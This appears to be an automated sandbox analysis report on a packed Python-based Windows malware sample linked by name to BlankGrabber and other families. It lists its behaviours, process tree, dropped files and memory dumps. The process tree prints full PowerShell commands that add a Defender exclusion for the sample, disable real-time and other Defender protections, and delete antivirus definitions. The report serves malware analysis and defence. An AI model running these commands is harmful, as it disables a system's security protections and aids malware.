Analysis
- max time kernel
149s - max time network
129s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
18/07/2026, 02:50
General
- Target 2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
- Size 10.5MB
- Sample260718-dbvt6ady5p
- SHA256 5db1f19385ebbbccd886df1e4a16999e9d356be2fbd886149f62466fcc6cf3e2
Malware Config
Signatures
- UPX dump on OEP (original entry point) 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 16 IoCs
- UPX packed file 49 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-17_976bfc30bd1e71c5f3ccd872c3fd59ca_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI8962\7_zip.exeC:\Users\Admin\AppData\Local\Temp\_MEI8962\7_zip.exe3⤵
- Executes dropped EXE
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
7_zip.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
python311.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_0eibouk0.vs3.ps1
memory/680-62-0x00007FF8BB910000-0x00007FF8BBA83000-memory.dmp
memory/680-108-0x00007FF8BB690000-0x00007FF8BB6BE000-memory.dmp
memory/680-71-0x00007FF8AF8B0000-0x00007FF8AFE98000-memory.dmp
memory/680-74-0x00007FF8BC3B0000-0x00007FF8BC3D4000-memory.dmp
memory/680-73-0x00007FF8AF280000-0x00007FF8AF338000-memory.dmp
memory/680-67-0x00007FF8BC300000-0x00007FF8BC30D000-memory.dmp
memory/680-66-0x00007FF8BB6C0000-0x00007FF8BB6D9000-memory.dmp
memory/680-77-0x00007FF8BB670000-0x00007FF8BB684000-memory.dmp
memory/680-79-0x00007FF8BBCF0000-0x00007FF8BBCFD000-memory.dmp
memory/680-80-0x00007FF8AF160000-0x00007FF8AF27C000-memory.dmp
memory/680-37-0x00007FF8BC3B0000-0x00007FF8BC3D4000-memory.dmp
memory/680-68-0x00007FF8BB690000-0x00007FF8BB6BE000-memory.dmp
memory/680-61-0x00007FF8BBE00000-0x00007FF8BBE23000-memory.dmp
memory/680-52-0x00007FF8BBF00000-0x00007FF8BBF19000-memory.dmp
memory/680-143-0x00007FF8AF8B0000-0x00007FF8AFE98000-memory.dmp
memory/680-81-0x00007FF8BBE00000-0x00007FF8BBE23000-memory.dmp
memory/680-83-0x00007FF8BB910000-0x00007FF8BBA83000-memory.dmp
memory/680-153-0x00007FF8AF340000-0x00007FF8AF6B5000-memory.dmp
memory/680-54-0x00007FF8BBE30000-0x00007FF8BBE5D000-memory.dmp
memory/680-154-0x00007FF8AF280000-0x00007FF8AF338000-memory.dmp
memory/680-50-0x00007FF8C68F0000-0x00007FF8C68FF000-memory.dmp
memory/680-26-0x00007FF8AF8B0000-0x00007FF8AFE98000-memory.dmp
memory/680-152-0x00007FF8BB690000-0x00007FF8BB6BE000-memory.dmp
memory/680-111-0x00007FF8AF8B0000-0x00007FF8AFE98000-memory.dmp
memory/680-107-0x00007FF8BB6C0000-0x00007FF8BB6D9000-memory.dmp
memory/680-72-0x00007FF8AF340000-0x00007FF8AF6B5000-memory.dmp
memory/680-109-0x00007FF8AF340000-0x00007FF8AF6B5000-memory.dmp
memory/680-110-0x00007FF8AF280000-0x00007FF8AF338000-memory.dmp
memory/680-112-0x00007FF8BC3B0000-0x00007FF8BC3D4000-memory.dmp
memory/728-106-0x0000020533A70000-0x0000020533C8C000-memory.dmp
memory/3224-142-0x00007FF6B56F0000-0x00007FF6B5E21000-memory.dmp
memory/3224-158-0x00007FF6B56F0000-0x00007FF6B5E21000-memory.dmp
memory/3536-105-0x000001CE78420000-0x000001CE7863C000-memory.dmp
memory/3536-90-0x000001CE77860000-0x000001CE77882000-memory.dmp
memory/3536-84-0x000001CE77890000-0x000001CE778A0000-memory.dmp
memory/3536-82-0x000001CE77890000-0x000001CE778A0000-memory.dmp